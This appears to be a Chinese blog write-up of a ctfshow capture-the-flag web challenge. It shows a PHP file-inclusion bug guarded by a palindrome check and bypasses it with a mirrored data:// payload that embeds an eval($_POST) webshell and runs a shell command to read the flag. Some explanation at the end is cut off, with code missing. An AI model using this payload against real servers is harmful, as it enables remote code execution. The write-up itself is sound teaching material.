ctfshow单身杯web签到
<?php # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-03-19 12:10:55 # @Last Modified by: h1xa # @Last Modified time: 2022-03-19 13:27:18 # @email: h1xa@ctfer.com # @link: https://ctfer.com error_reporting(0); highlight_file(__FILE__); $file = $_POST['file']; if(isset($file)){ if(strrev($file)==$file){ include $file; } }
题目如上。
首先很明显这是一个文件包含漏洞类型的题目。
不过这个题目有一个strrev()方法
这个方法就是把字符串逆序。
首先考虑用php伪协议,php://fiter/convert.base64-encode/resource=index.php但是很明显这个没法过判断。
于是得考虑有什么方法既可以在后面加个逆序又不影响注入的。
想到了data协议
payload如下
data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=echo `cat /f1agaaa`;
为什么可以这样呢,其实可以这么看
<?php $c = 'data://text/plain,<?php eval($_POST[1]);?>'; echo $c . strrev($c); ?> 12333
你会发现,你这样输出的时候前面的<?php eval($_POST[1]);?>不见了,
假如你把它改成
你又会发现
他变成了这样,说明输出的这个直接被当成php执行了。而且后面的就是php之外的,它会直接打印出来。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!